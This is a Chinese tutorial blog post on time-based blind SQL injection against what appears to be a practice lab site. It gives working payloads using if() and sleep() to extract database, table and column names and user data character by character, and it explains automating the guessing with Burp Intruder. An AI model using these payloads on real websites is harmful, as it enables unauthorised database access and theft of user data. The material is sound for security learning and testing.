SQL注入之时间盲注

SQL注入之时间盲注

本人记录这些为了学习的同时,能够有很好的记录,所谓好记性不如烂笔头,同时发布出来,也是希望大家有朋友学习到这里想上网搜索一些东西,以便借用和探讨一些问题,总之,不断学习!!
自我修养:没有一个系统是安全的

上一节讲解: SQL注入之布尔盲注

理解

时间盲注: 这里我认为最重要的就是理解sleep()函数,sleep函数是延迟时间,就是“过会儿在执行”的意思
(以下代码用到其他函数请查看“SQL注入之布尔盲注”,有详细解释)。

实例讲解

  • 和前面一样,我们还是拿到这样一个网站:
    在这里插入图片描述
    通过测试可以得知,当无论输入id为正确还是错误都会显示you are in…,那用什么逻辑拿到信息呢?时间盲注自然就来解决这个问题

  • 时间盲注我们要用到if判断语句:[地址栏输入]?id=1’ and if((ascii(substr(database(),1,1))=115),1,sleep(5)) --+,这里我简单解释一下,当前面字段等于115时,则执行1,否则执行sleep(5)

  • 按照上面那样不断测试,将每一个ascii对应十进制对比,那么就可以得到想要的数据,这里我把剩下的逻辑步骤列出来(SQL注入盲注里面有逻辑步骤详情):

  • ?id=1’ and if((ascii(substr(database(),1,1))=115),1,sleep(5)) --+ 不断改变substr截取字段,获取整个数据库名字

  • ?id=1’ and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),1,sleep(5)) --+ 不断改变截取字段和limit,获取全部表名

  • ?id=1’ and if((ascii(substr((select column_name from information_schema.columns where table_name=‘emails’ limit 0,1),1,1))=105),1,sleep(5)) --+ 不断改变截取字段和limit,获取全部属性名

  • ?id=1’ and if((ascii(substr((select id from emails limit 0,1),1,1))=49),1,sleep(5)) --+ 不断改变截取字段和limit,获取全部用户数据

怎样快速改变截取字段和拿到ascii码

这里我们用的软件是burp,这里我做一个简单的相关操作介绍

  1. 设置浏览器代理之后,进行拦截。
    在这里插入图片描述
  2. 拦截之后,右键发送到测试模块。
    在这里插入图片描述
  3. 进入测试模块,target模块系统自动识别,点击position模块,首先clear所有要替换的变量(系统自动识别的),然后找到自己要更改的变量,选中后点右边添加,接着payload模块设置字典或者其他的,我这里是数值,因为ascii码从0到127,然后可以在最后一个模块option设置线程,加快运行速度(工作中不能太高)。
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
  4. 最后点击开始攻击,可以得到破解的ascii码
    在这里插入图片描述
    今天的学习就到这里,持续学习中
  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值